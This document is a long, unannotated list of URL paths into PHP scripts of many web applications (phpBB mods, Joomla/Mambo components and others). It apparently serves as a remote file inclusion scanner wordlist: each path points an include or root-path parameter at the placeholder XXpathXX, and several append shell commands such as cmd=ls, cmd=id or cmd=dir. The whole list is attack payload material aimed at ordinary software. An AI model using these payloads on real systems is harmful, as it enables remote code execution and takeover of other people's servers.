/hioxBannerRotate.php?hm=XXpathXX
/hioxRandomAd.php?hm=XXpathXX
/hioxstats.php?hm=XXpathXX
/hioxupdate.php?hm=XXpathXX
/home.php?a=XXpathXX
/home.php?page=XXpathXX
/home.php?pagina=XXpathXX
/home/www/images/doc/index2.php?type=XXpathXX
/home1.php?ln=XXpathXX
/home2.php?ln=XXpathXX
/hsList.php?subdir=XXpathXX?&cmd=ls
/htdocs/gmapfactory/params.php?gszAppPath=XXpathXX
/html/admin/modules/plugin_admin.php?_settings[pluginpath]=XXpathXX
/hu/modules/reg-new/modstart.php?mod_dir=XXpathXX?
/i_head.php?home=XXpathXX
/i_nav.php?home=XXpathXX
/iframe.php?file=XXpathXX
/image.php?url=XXpathXX???
/impex/ImpExData.php?systempath=XXpathXX
/import.php?bibtexrootrel=XXpathXX?
/importinfo.php?bibtexrootrel=XXpathXX?
/in.php?returnpath=XXpathXX
/inc/articles.inc.php?GLOBALS[CHEMINMODULES]=XXpathXX
/inc/config.inc.php?x[1]=XXpathXX
/inc/design.inc.php?dir[data]=XXpathXX
/inc/download_center_lite.inc.php?script_root=XXpathXX
/inc/formmail.inc.php?script_root=XXpathXX
/inc/gabarits.php?cfg_racine=XXpathXX
/inc/header.inc.php?ficStyle=XXpathXX
/inc/ifunctions.php?GLOBALS[phpQRootDir]=XXpathXX
/inc/inc.php?cfg_racine=XXpathXX?
/inc/indexhead.php?fileloc=XXpathXX?
/inc/irayofuncs.php?irayodirhack=XXpathXX?
/inc/libs/Smarty_Compiler.class.php?plugin_file=XXpathXX?
/inc/libs/core/core.display_debug_console.php?plugin_file=XXpathXX?
/inc/libs/core/core.load_plugins.php?plugin_file=XXpathXX?
/inc/libs/core/core.load_resource_plugin.php?plugin_file=XXpathXX?
/inc/libs/core/core.process_cached_inserts.php?plugin_file=XXpathXX?
/inc/libs/core/core.process_compiled_include.php?plugin_file=XXpathXX?
/inc/libs/core/core.read_cache_file.php?plugin_file=XXpathXX?
/inc/linkbar.php?cfile=XXpathXX?
/inc/login.php?pathCGX=XXpathXX
/inc/logingecon.php?pathCGX=XXpathXX
/inc/ltdialogo.php?pathCGX=XXpathXX
/inc/mtdialogo.php?pathCGX=XXpathXX
/inc/nuke_include.php?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=XXpathXX?
/inc/prepend.inc.php?path=XXpathXX?
/inc/service.alert.inc.php?SPL_CFG[dirroot]=XXpathXX?
/inc/settings.php?inc_dir=XXpathXX
/inc/settings.ses.php?SPL_CFG[dirroot]=XXpathXX?
/inc/shows.inc.php?cutepath=XXpathXX?
/inc/sige_init.php?SYS_PATH=XXpathXX?
/inc_group.php?include_path=XXpathXX?
/inc_manager.php?include_path=XXpathXX?
/inc_newgroup.php.php?include_path=XXpathXX?
/inc_smb_conf.php?include_path=XXpathXX?
/inc_user.php?include_path=XXpathXX?
/include.php?_APP_RELATIVE_PATH=XXpathXX
/include.php?gorumDir=XXpathXX
/include.php?myng_root=XXpathXX
/include.php?path=psp/user.php&site=XXpathXX
/include.php?path[docroot]=XXpathXX
/include.php?sunPath=XXpathXX
/include/Beautifier/Core.php?BEAUT_PATH=XXpathXX
/include/HTML_oben.php?include_path=XXpathXX
/include/HTML_oben.php?include_path=XXpathXX?
/include/SQuery/gameSpy2.php?libpath=XXpathXX
/include/bbs.lib.inc.php?site_path=XXpathXX
/include/class_yapbbcooker.php?cfgIncludeDirectory=XXpathXX
/include/classes.php?INCLUDE_DIR=XXpathXX?
/include/client.php?INCLUDE_DIR=XXpathXX?
/include/cls_headline_prod.php?INCLUDE_PATH=XXpathXX
/include/cls_listorders.php?INCLUDE_PATH=XXpathXX
/include/cls_viewpastorders.php?INCLUDE_PATH=XXpathXX
/include/common.php?XOOPS_ROOT_PATH=XXpathXX
/include/common_functions.php?baros_path=XXpathXX?
/include/config.inc.php?racine=XXpathXX
/include/copyright.php?tsep_config[absPath]=XXpathXX?cmd=ls
/include/customize.php?l=XXpathXX&text=Hello%20World
/include/default_header.php?script_path=XXpathXX
/include/define.php?INC_DIR=XXpathXX?
/include/disp_form.php3?cfg_include_dir=XXpathXX?
/include/disp_smileys.php3?cfg_include_dir=XXpathXX?
/include/dom.php?path=XXpathXX
/include/dtd.php?path=XXpathXX
/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=XXpathXX?
/include/engine/content/elements/menu.php?CONFIG[AdminPath]=XXpathXX
/include/forms.php?INCLUDE_DIR=XXpathXX?
/include/global.php?pfad=XXpathXX
/include/header.php?cs_base_path=XXpathXX?
/include/html/nettools.popup.php?DIR=XXpathXX
/include/inc.foot.php?root=XXpathXX
/include/inc_ext/spaw/dialogs/table.php?spaw_root=XXpathXX
/include/inc_freigabe.php?include_path=XXpathXX?
/include/inc_freigabe1.php?include_path=XXpathXX?
/include/inc_freigabe3.php?include_path=XXpathXX?
/include/include_stream.inc.php?include_path=XXpathXX
/include/include_top.php?g_include=XXpathXX
/include/includes.php?include_path=XXpathXX
/include/index.php3?cfg_include_dir=XXpathXX?
/include/init.inc.php?G_PATH=XXpathXX
/include/issue_edit.php?INCLUDE_DIR=XXpathXX?
/include/lib/lib_slots.php?main_path=XXpathXX
/include/lib/lib_stats.php?main_path=XXpathXX?
/include/lib/lib_users.php?main_path=XXpathXX?
/include/little_news.php3?cfg_include_dir=XXpathXX?
/include/livre_include.php?no_connect=lol&chem_absolu=XXpathXX?
/include/loading.php?path_include=XXpathXX
/include/mail.inc.php?root=XXpathXX
/include/menu_builder.php?config[page_dir]=XXpathXX?
/include/misc/mod_2checkout/2checkout_return.inc.php?DIR=XXpathXX
/include/monitoring/engine/MakeXML.php?fileOreonConf=XXpathXX?
/include/parser.php?path=XXpathXX
/include/pear/IT.php?basepath=XXpathXX?
/include/pear/ITX.php?basepath=XXpathXX?
/include/pear/IT_Error.php?basepath=XXpathXX?
/include/phpxd/phpXD.php?appconf[rootpath]=XXpathXX?&cmd=id
/include/prodler.class.php?sPath=XXpathXX???
/include/scripts/export_batch.inc.php?DIR=XXpathXX
/include/scripts/run_auto_suspend.cron.php?DIR=XXpathXX
/include/scripts/send_email_cache.php?DIR=XXpathXX
/include/startup.inc.php?root_path=XXpathXX?
/include/themes/themefunc.php?myNewsConf[path][sys][index]=XXpathXX?
/include/timesheet.php?config[include_dir]=XXpathXX
/include/urights.php?CRM_inc=XXpathXX
/includes/admin_board2.php?phpbb_root_path=XXpathXX?ls
/includes/admin_logger.php?phpbb_root_path=XXpathXX?ls
/includes/adodb/back/adodb-postgres7.inc.php?ADODB_DIR=XXpathXX?
/includes/ajax_listado.php?urlModulo=XXpathXX
/includes/archive/archive_topic.php?phpbb_root_path=XXpathXX?
/includes/bbcb_mg.php?phpbb_root_path=XXpathXX?
/includes/begin.inc.php?PagePrefix=XXpathXX
/includes/blogger.php?path_prefix=XXpathXX
/includes/class/class_tpl.php?cache_file=XXpathXX?
/includes/class_template.php?quezza_root_path=XXpathXX
/includes/classes/pctemplate.php?pcConfig[smartyPath]=XXpathXX?cmd
/includes/common.inc.php?CONFIG[BASE_PATH]=XXpathXX
/includes/common.php?module_root_path=XXpathXX?
/includes/common.php?root=XXpathXX?
/includes/common.php?root_path=XXpathXX?
/includes/config.inc.php?racineTBS=XXpathXX
/includes/config/master.inc.php?fm_data[root]=XXpathXX?
/includes/connection.inc.php?PagePrefix=XXpathXX
/includes/dbal.php?eqdkp_root_path=XXpathXX
/includes/events.inc.php?PagePrefix=XXpathXX
/includes/footer.html.inc.php?tc_config[app_root]=XXpathXX?
/includes/footer.inc.php?PagePrefix=XXpathXX
/includes/footer.php?PHPGREETZ_INCLUDE_DIR=XXpathXX
/includes/functions.inc.php?sitepath=XXpathXX?
/includes/functions.php?location=XXpathXX
/includes/functions.php?phpbb_root_path=XXpathXX
/includes/functions.php?phpbb_root_path=XXpathXX?
/includes/functions/auto_email_notify.php?path_prefix=XXpathXX
/includes/functions/html_generate.php?path_prefix=XXpathXX
/includes/functions/master.inc.php?fm_data[root]=XXpathXX?
/includes/functions/validations.php?path_prefix=XXpathXX
/includes/functions_admin.php?phpbb_root_path=XXpathXX?
/includes/functions_install.php?vwar_root=XXpathXX
/includes/functions_kb.php?phpbb_root_path=XXpathXX?
/includes/functions_mod_user.php?phpbb_root_path=XXpathXX?
/includes/functions_portal.php?phpbb_root_path=XXpathXX?
/includes/functions_user_viewed_posts.php?phpbb_root_path=XXpathXX?
/includes/global.php?nbs=XXpathXX?
/includes/header.inc.php?PagePrefix=XXpathXX
/includes/header.inc.php?dateiPfad=XXpathXX
/includes/include_once.php?include_file=XXpathXX
/includes/init.php?includepath=XXpathXX?
/includes/iplogger.php?phpbb_root_path=XXpathXX?ls
/includes/kb_constants.php?module_root_path=XXpathXX
/includes/lang/language.php?path_to_root=XXpathXX
/includes/lib-account.inc.php?CONF_CONFIG_PATH=XXpathXX?
/includes/lib-group.inc.php?CONF_CONFIG_PATH=XXpathXX?
/includes/lib-log.inc.php?CONF_CONFIG_PATH=XXpathXX?
/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=XXpathXX?
/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=XXpathXX?
/includes/lib-themes.inc.php?CONF_CONFIG_PATH=XXpathXX?
/includes/logger_engine.php?phpbb_root_path=XXpathXX
/includes/menuleft.inc.php?PagePrefix=XXpathXX
/includes/mkb.php?phpbb_root_path=XXpathXX?ls
/includes/morcegoCMS/adodb/adodb.inc.php?path=XXpathXX
/includes/morcegoCMS/morcegoCMS.php?fichero=XXpathXX
/includes/mx_common.php?module_root_path=XXpathXX?
/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=XXpathXX
/includes/orderSuccess.inc.php?&glob=1&cart_order_id=1&glob[rootDir]=XXpathXX
/includes/pafiledb_constants.php?module_root_path=XXpathXX
/includes/pages.inc.php?PagePrefix=XXpathXX
/includes/phpdig/includes/config.php?relative_script_path=XXpathXX
/includes/profilcp_constants.php?module_root_path=XXpathXX?
/includes/settings.inc.php?approot=XXpathXX
/includes/template.php?myevent_path=XXpathXX
/includes/themen_portal_mitte.php?phpbb_root_path=XXpathXX
/includes/tumbnail.php?config[root_ordner]=XXpathXX?
/includes/usercp_register.php?phpbb_root_path=XXpathXX?
/includes/usercp_viewprofile.php?phpbb_root_path=XXpathXX?
/includes/xhtml.php?d_root=XXpathXX?
/index.php3?Application_Root=XXpathXX
/index.php?1=lol&PAGES[lol]=XXpathXX
/index.php?AML_opensite=XXpathXX
/index.php?AMV_openconfig=1&AMV_serverpath=XXpathXX
/index.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/index.php?ConfigDir=XXpathXX
/index.php?DIR_PLUGINS=XXpathXX
/index.php?G_JGALL[inc_path]=XXpathXX%00
/index.php?HomeDir=XXpathXX
/index.php?Lang=AR&Page=XXpathXX
/index.php?Madoa=XXpathXX?
/index.php?RP_PATH=XXpathXX
/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=XXpathXX
/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=XXpathXX
/index.php?abg_path=XXpathXX?
/index.php?abs_path=XXpathXX?
/index.php?adduser=true&lang=XXpathXX
/index.php?adodb=XXpathXX
/index.php?ads_file=XXpathXX
/index.php?arquivo=XXpathXX
/index.php?back=XXpathXX
/index.php?base==XXpathXX
/index.php?basePath=XXpathXX
/index.php?bibtexrootrel=XXpathXX?
/index.php?blog_dc_path=XXpathXX
/index.php?blog_theme=XXpathXX
/index.php?body=XXpathXX
/index.php?class_path=XXpathXX?
/index.php?classified_path=XXpathXX?
/index.php?cms=XXpathXX?
/index.php?config["sipssys"]=XXpathXX
/index.php?config[root_ordner]=XXpathXX?&cmd=id
/index.php?config[root_ordner]=XXpathXX?cmd=id
/index.php?config_atkroot=XXpathXX
/index.php?configuration=XXpathXX
/index.php?custom_admin_path=XXpathXX?
/index.php?dateiPfad=XXpathXX?&cmd=ls
/index.php?de=XXpathXX
/index.php?dept=XXpathXX
/index.php?do=XXpathXX
/index.php?exec=XXpathXX?
/index.php?ext=XXpathXX
/index.php?faq_path=XXpathXX?&cmd=id
/index.php?file_name[]=XXpathXX?
/index.php?file_path=XXpathXX?
/index.php?fileloc=XXpathXX
/index.php?from=XXpathXX
/index.php?func=XXpathXX?
/index.php?function=XXpathXX
/index.php?function=custom&custom=XXpathXX
/index.php?gOo=XXpathXX
/index.php?gen=XXpathXX
/index.php?get=XXpathXX
/index.php?home_name=XXpathXX
/index.php?ilang=XXpathXX?
/index.php?inc_dir=XXpathXX
/index.php?inc_dir=XXpathXX?
/index.php?includeDir=XXpathXX
/index.php?includeFooter=XXpathXX
/index.php?includesdir=XXpathXX
/index.php?insPath=XXpathXX
/index.php?lang=XXpathXX
/index.php?language=XXpathXX?
/index.php?language=en&main_page=XXpathXX
/index.php?lizge=XXpathXX?&cmd=ls
/index.php?lng=XXpathXX
/index.php?load=XXpathXX
/index.php?loadpage=XXpathXX
/index.php?main_tabid=1&main_content=XXpathXX
/index.php?may=XXpathXX
/index.php?middle=XXpathXX
/index.php?mode=XXpathXX
/index.php?modpath=XXpathXX
/index.php?module=PostWrap&page=XXpathXX
/index.php?mosConfig_absolute_path=XXpathXX
/index.php?news7["functions"]=XXpathXX
/index.php?news_include_path=XXpathXX
/index.php?open=XXpathXX
/index.php?option=com_custompages&cpage=XXpathXX?
/index.php?page=XXpathXX
/index.php?page=XXpathXX%00
/index.php?page=XXpathXX?
/index.php?pageXXpathXX
/index.php?page[path]=XXpathXX?&cmd=ls
/index.php?pagename=XXpathXX
/index.php?pager=XXpathXX
/index.php?pagina=XXpathXX?
/index.php?path_to_folder=XXpathXX?cmd=id
/index.php?pg=XXpathXX?
/index.php?phpbb_root_path=XXpathXX
/index.php?plugin=XXpathXX
/index.php?principal=XXpathXX
/index.php?proMod=XXpathXX
/index.php?proMod=XXpathXX?cmd
/index.php?project=XXpathXX
/index.php?repinc=XXpathXX?
/index.php?root_prefix=XXpathXX
/index.php?root_prefix=XXpathXX?
/index.php?section=XXpathXX
/index.php?site=XXpathXX
/index.php?site_path=XXpathXX
/index.php?styl[top]=XXpathXX??
/index.php?template=XXpathXX?
/index.php?templates_dir=XXpathXX?
/index.php?theme=XXpathXX
/index.php?themepath=XXpathXX?
/index.php?themesdir=XXpathXX
/index.php?this_path=XXpathXX?
/index.php?txt=XXpathXX
/index.php?up=XXpathXX
/index.php?url=XXpathXX
/index.php?w=XXpathXX
/index.php?way=XXpathXX??????????????
/index1.php?=XXpathXX
/index1.php?inc=XXpathXX
/index1.php?inhalt=XXpathXX
/index2.php?=XXpathXX
/index2.php?content=XXpathXX
/index2.php?s=XXpathXX
/index2.php?x=XXpathXX
/indexinfo.php?bibtexrootrel=XXpathXX?
/indexk.php?lib_path=XXpathXX?
/info.php?file=XXpathXX
/inhalt.php?dateien[news]=XXpathXX?
/init.php?API_HOME_DIR=XXpathXX
/init.php?scriptpath=XXpathXX?
/initialize.php?hmail_config[includepath]=XXpathXX&cmd=dir
/initiate.php?abs_path=XXpathXX
/install.php?_NE[AbsPath]=XXpathXX
/install.php?install_dir=XXpathXX
/install/config.php?path=XXpathXX
/install/di.php?pathtoserverdata=XXpathXX
/install/index.php?content_php=XXpathXX
/install/install3.php?database=none&cabsolute_path=XXpathXX
/integration/shortstat/configuration.php?SPL_CFG[dirroot]=XXpathXX?
/interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=XXpathXX?
/interact/modules/scorm/lib.inc.php?CONFIG[BASE_PATH]=XXpathXX?
/interface/billing/billing_process.php?srcdir=XXpathXX?
/interface/editors/-custom.php?bField[bf_data]=XXpathXX
/interface/editors/custom.php?bField[bf_data]=XXpathXX
/interface/new/new_patient_save.php?srcdir=XXpathXX?
/intern/admin/?rootdir=XXpathXX
/intern/admin/other/backup.php?admin=1&rootdir=XXpathXX
/intern/clan/member_add.php?rootdir=XXpathXX
/intern/config/forum.php?rootdir=XXpathXX
/intern/config/key_2.php?rootdir=XXpathXX
/ip.inc.php?type=1&cgipath=XXpathXX
/ipeer_site/?page=XXpathXX?
/joinus.php?vwar_root=XXpathXX
/joinus.php?vwar_root=XXpathXX?&cmd=ls
/joomla_path/administrator/components/com_x-shop/admin.x-shop?mosConfig_absolute_path=XXpathXX?
/joomla_path/components/com_articles.php?absolute_path=XXpathXX?
/js/bbcodepress/bbcode-form.php?BBCODE_path=XXpathXX
/js/wptable-tinymce.php?ABSPATH=XXpathXX
/jscript.php?my_ms[root]=XXpathXX?
/kernel/class/ixpts.class.php?IXP_ROOT_PATH=XXpathXX
/kernel/loadkernel.php?installPath=XXpathXX
/kmitaadmin/kmitam/htmlcode.php?file=XXpathXX?
/ktmlpro/includes/ktedit/toolbar.php?dirDepth=XXpathXX
/lang/leslangues.php?fichier=XXpathXX
/lang_english/lang_main_album.php?phpbb_root_path=XXpathXX?a=
/language/lang_english/lang_activity.php?phpbb_root_path=XXpathXX
/language/lang_english/lang_admin_album.php?phpbb_root_path=XXpathXX?a=
/language/lang_german/lang_admin_album.php?phpbb_root_path=XXpathXX?a=
/language/lang_german/lang_main_album.php?phpbb_root_path=XXpathXX?a=
/latestposts.php?forumspath=XXpathXX
/latex.php?bibtexrootrel=XXpathXX?
/layout/default/params.php?gConf[dir][layouts]=XXpathXX?
/ldap/authldap.php?includePath=XXpathXX
/learnPath/include/scormExport.inc.php?includePath=XXpathXX
/lib.editor.inc.php?sys_path=XXpathXX?
/lib/Loggix/Module/Calendar.php?pathToIndex=XXpathXX
/lib/Loggix/Module/Comment.php?pathToIndex=XXpathXX
/lib/Loggix/Module/Rss.php?pathToIndex=XXpathXX
/lib/Loggix/Module/Trackback.php?pathToIndex=XXpathXX
/lib/action/rss.php?lib=XXpathXX?
/lib/activeutil.php?set[include_path]=XXpathXX?
/lib/addressbook.php?GLOBALS[basedir]=XXpathXX
/lib/armygame.php?libpath=XXpathXX
/lib/authuser.php?root=XXpathXX
/lib/base.php?BaseCfg[BaseDir]=XXpathXX
/lib/connect.php?root=XXpathXX
/lib/connected_users.lib.php3?ChatPath=XXpathXX
/lib/connected_users.lib.php3?ChatPath=XXpathXX?
/lib/db/mysql.class.php?root=XXpathXX
/lib/db/postgres.class.php?root=XXpathXX
/lib/functions.php?DOC_ROOT=XXpathXX
/lib/googlesearch/GoogleSearch.php?APP[path][lib]=XXpathXX?
/lib/header.php?DOC_ROOT=XXpathXX
/lib/language.php?_LIB_DIR=XXpathXX
/lib/live_status.lib.php?ROOT=XXpathXX
/lib/misc.php?root=XXpathXX
/lib/nl/nl.php?g_strRootDir=XXpathXX
/lib/obj/collection.class.php?GLOBALS[application][app_root]=XXpathXX
/lib/obj/content_image.class.php?GLOBALS[application][app_root]=XXpathXX
/lib/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX
/lib/pcltrace.lib.php?g_pcltar_lib_dir=XXpathXX
/lib/rs.php?rootpath=XXpathXX
/lib/selectlang.php?BBC_LANGUAGE_PATH=XXpathXX
/lib/smarty/SmartyFU.class.php?system[smarty][dir]=XXpathXX?
/lib/static/header.php?set_menu=XXpathXX
/lib/tpl.inc.php?conf[classpath]=XXpathXX
/libraries/comment/postComment.php?path[cb]=XXpathXX?a=
/libraries/database.php?path=XXpathXX???
/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=XXpathXX
/libraries/pcl/pcltar.php?g_pcltar_lib_dir=XXpathXX
/library/authorize.php?login_form=XXpathXX?
/library/translation.inc.php?GLOBALS[srcdir]=XXpathXX?
/libs/db.php?path_local=XXpathXX
/libs/ftp.php?path_local=XXpathXX
/libs/lom.php?ETCDIR=XXpathXX
/libsecure.php?abs_path=XXpathXX?
/license.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/link_main.php?phpbb_root_path=XXpathXX
/linkadmin.php?page=XXpathXX?
/linksnet_newsfeed/linksnet_linkslog_rss.php?dirpath_linksnet_newsfeed=XXpathXX?
/list.php?phpbb_root_path=XXpathXX
/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=XXpathXX
/lms_path/modules/welcome.php?_LIB_DIR=XXpathXX
/load_lang.php?_SERWEB[configdir]=XXpathXX
/load_lang.php?_SERWEB[serwebdir]=XXpathXX
/load_phplib.php?_PHPLIB[libdir]=XXpathXX
/loader.php?GLOBALS=XXpathXX
/local/lib/lcUser.php?LIBDIR=XXpathXX?
/log.php?bibtexrootrel=XXpathXX?
/login.php3?cl_headers=XXpathXX
/login.php?base_dir=XXpathXX
/login.php?blog_theme=XXpathXX
/login.php?langfile=XXpathXX
/login.php?pachtofile=XXpathXX
/login.php?srcdir=XXpathXX?
/login.php?value=XXpathXX??
/lovecms/install/index.php?step=XXpathXX?
/m2f/m2f_cron.php?m2f_root_path=XXpathXX
/m2f/m2f_forum.php?m2f_root_path=XXpathXX
/m2f/m2f_mailinglist.php?m2f_root_path=XXpathXX
/m2f/m2f_phpbb204.php?m2f_root_path=XXpathXX
/maguz.php?site=XXpathXX
/mail/childwindow.inc.php?form=XXpathXX?
/mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT=XXpathXX?
/mail_this_entry/mail_autocheck.php?pm_path=XXpathXX?&cmd=ls
/main.inc.php?pathtoscript=XXpathXX
/main.php?config[search_disp]=true&include_dir=XXpathXX
/main.php?id=XXpathXX
/main.php?include_path=XXpathXX?
/main.php?pageURL=XXpathXX
/main.php?pagina=XXpathXX
/main/forum/komentar.php?site_path=XXpathXX
/main/main.php?pi=XXpathXX
/main/ppcbannerclick.php?INC=XXpathXX?
/main/ppcclick.php?INC=XXpathXX?
/main_prepend.php?_SERWEB[functionsdir]=XXpathXX
/mainpage.php?docroot=XXpathXX?cmd
/mamboleto.php?mosConfig_absolute_path=XXpathXX
/mambots/editors/path/jscripts/tiny_mce/plugins/preview/preview.php?mosConfig_absolute_path=XXpathXX
/manage_songs.php?foing_root_path=XXpathXX
/manager/admin/index.php?MGR=XXpathXX
/manager/admin/p_ins.php?MGR=XXpathXX
/manager/admin/u_ins.php?MGR=XXpathXX
/manager/articles.php?_PX_config[manager_path]=XXpathXX
/manager/static/view.php?propID=0&INC=XXpathXX
/master.php?root_path=XXpathXX
/mcNews/admin/header.php?skinfile=XXpathXX
/mcf.php?content=XXpathXX
/mcnews/admin/install.php?l=XXpathXX
/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=XXpathXX
/member.php?vwar_root=XXpathXX
/member/usercp_menu.php?script_folder=XXpathXX
/members/index.php?INC=XXpathXX?
/members/registration.php?INC=XXpathXX?
/members_help.php?hlp=XXpathXX?
/membres/membreManager.php?include_path=XXpathXX?
/menu.php3?cl_headers=XXpathXX
/menu.php?functions_file=XXpathXX
/mep/frame.php?chem=XXpathXX?
/microcms/includes/file_manager/special.php?fm_includes_special=XXpathXX
/middle.php?file=XXpathXX
/migrateNE2toNE3.php?_NE[AbsPath]=XXpathXX
/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=XXpathXX?
/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=XXpathXX?
/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=XXpathXX?
/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=XXpathXX?
/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=XXpathXX?
/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=XXpathXX?
/mini-pub.php/front-end/img.php?sFileName=XXpathXX?
/minimal/wiki.php?page=XXpathXX?
/misc/function.php3?path=XXpathXX?
/mitglieder.php?config[root_ordner]=XXpathXX?&cmd=id
/mkportal/include/user.php?MK_PATH=XXpathXX
/mkportal/include/user.php?MK_PATH=XXpathXX?
/mod/authent.php4?rootpath=XXpathXX
/mod/image/index.php?config[pathMod]=XXpathXX
/mod/liens/index.php?config[pathMod]=XXpathXX
/mod/liste/index.php?config[pathMod]=XXpathXX
/mod/special/index.php?config[pathMod]=XXpathXX
/mod/texte/index.php?config[pathMod]=XXpathXX
/mod_membre/inscription.php?chemin=XXpathXX?
/mod_phpalbum/sommaire_admin.php?chemin=XXpathXX?
/modernbill/include/html/config.php?DIR=XXpathXX
/modifyform.html?code=XXpathXX
/mods/business_functions.php?GALLERY_BASEDIR=XXpathXX
/mods/config/load.inc.php?moddir=XXpathXX?
/mods/http/load.inc.php?moddir=XXpathXX?
/mods/ui_functions.php?GALLERY_BASEDIR=XXpathXX
/module/forum/forum.php?fd=XXpathXX=';
/module/forum/main.php?id=1&main_dir=XXpathXX?&
/modules.php?name=XXpathXX&file=article&sid=2
/modules/4nAlbum/public/displayCategory.php?basepath=XXpathXX
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=XXpathXX
/modules/Calendar/admin/update.php?calpath=XXpathXX?
/modules/Calendar/calendar.php?calpath=XXpathXX?
/modules/Calendar/scheme.php?calpath=XXpathXX?
/modules/Discipline/CategoryBreakdownTime.php?FocusPath=XXpathXX
/modules/Discipline/CategoryBreakdownTime.php?staticpath=XXpathXX
/modules/Discipline/StudentFieldBreakdown.php?staticpath=XXpathXX
/modules/Forums/admin/admin_styles.php?phpbb_root_path=XXpathXX
/modules/MusooTemplateLite.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX
/modules/My_eGallery/index.php?basepath=XXpathXX
/modules/My_eGallery/public/displayCategory.php?basepath=XXpathXX
/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=XXpathXX?
/modules/NukeAI/util.php?AIbasedir=XXpathXX
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=XXpathXX
/modules/SoundImporter.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX
/modules/abook/foldertree.php?baseDir==XXpathXX?
/modules/addons/plugin.php?doc_root=XXpathXX
/modules/admin/include/config.php?doc_root=XXpathXX
/modules/admin/include/localize.php?doc_root=XXpathXX
/modules/agendax/addevent.inc.php?agendax_path=XXpathXX&cmd=id
/modules/bank/includes/design/main.inc.php?bank_data[root]=XXpathXX?
/modules/basicfog/basicfogfactory.class.php?PATH_TO_CODE=XXpathXX
/modules/birstday/birst.php?exbb[home_path]=XXpathXX?
/modules/birstday/profile_show.php?exbb[home_path]=XXpathXX?
/modules/birstday/select.php?exbb[home_path]=XXpathXX?
/modules/blocks/headerfile.php?system[path]=XXpathXX
/modules/calendar/index.php?inc_dir=XXpathXX
/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=XXpathXX?
/modules/calendar/mod_calendar.php?absolute_path=XXpathXX?
/modules/certinfo/index.php?full_path=XXpathXX
/modules/character_roster/include.php?mod_root=XXpathXX?
/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=XXpathXX?
/modules/coppermine/themes/default/theme.php?THEME_DIR=XXpathXX
/modules/downloads/lib/LM_Downloads.php?pathToIndex=XXpathXX
/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=XXpathXX
/modules/emails/index.php?full_path=XXpathXX
/modules/events/index.php?full_path=XXpathXX
/modules/fax/index.php?full_path=XXpathXX
/modules/files/blocks/latest_files.php?system[path]=XXpathXX
/modules/files/index.php?full_path=XXpathXX
/modules/files/list.php?full_path=XXpathXX
/modules/filters/headerfile.php?system[path]=XXpathXX
/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=XXpathXX?
/modules/forums/blocks/latest_posts.php?system[path]=XXpathXX
/modules/global/inc/content.inc.php?sIncPath=XXpathXX?
/modules/groupadm/index.php?full_path=XXpathXX
/modules/groups/headerfile.php?system[path]=XXpathXX
/modules/guestbook/index.php?CONFIG[local_root]=XXpathXX?
/modules/history/index.php?full_path=XXpathXX
/modules/home.module.php?repmod=XXpathXX?
/modules/horoscope/footer.php?xoopsConfig[root_path]=XXpathXX
/modules/icontent/include/wysiwyg/spaw_control.class.php?spaw_root=XXpathXX
/modules/info/index.php?full_path=XXpathXX
/modules/links/blocks/links.php?system[path]=XXpathXX
/modules/links/showlinks.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX
/modules/links/submit_links.php?rootdp=zZz&gsLanguage=XXpathXX
/modules/log/index.php?full_path=XXpathXX
/modules/mail/index.php?full_path=XXpathXX
/modules/menu/headerfile.php?system[path]=XXpathXX
/modules/messages/index.php?full_path=XXpathXX
/modules/mod_as_category.php?mosConfig_absolute_path=XXpathXX
/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=XXpathXX
/modules/mod_calendar.php?absolute_path=XXpathXX
/modules/mod_flatmenu.php?mosConfig_absolute_path=XXpathXX
/modules/mod_mainmenu.php?mosConfig_absolute_path=XXpathXX
/modules/mod_weather.php?absolute_path=XXpathXX?
/modules/mx_smartor/admin/admin_album_otf.php?phpbb_root_path=XXpathXX?
/modules/newbb_plus/config.php?bbPath[root_theme]=XXpathXX
/modules/newbb_plus/votepolls.php?bbPath[path]=XXpathXX
/modules/news/blocks/latest_news.php?system[path]=XXpathXX
/modules/newusergreatings/pm_newreg.php?exbb[home_path]=XXpathXX?
/modules/organizations/index.php?full_path=XXpathXX
/modules/phones/index.php?full_path=XXpathXX
/modules/pms/index.php?module_path=XXpathXX???
/modules/poll/inlinepoll.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX
/modules/poll/showpoll.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX
/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=XXpathXX?
/modules/presence/index.php?full_path=XXpathXX
/modules/projects/index.php?full_path=XXpathXX
/modules/projects/list.php?full_path=XXpathXX
/modules/projects/summary.inc.php?full_path=XXpathXX
/modules/punish/p_error.php?exbb[home_path]=XXpathXX?
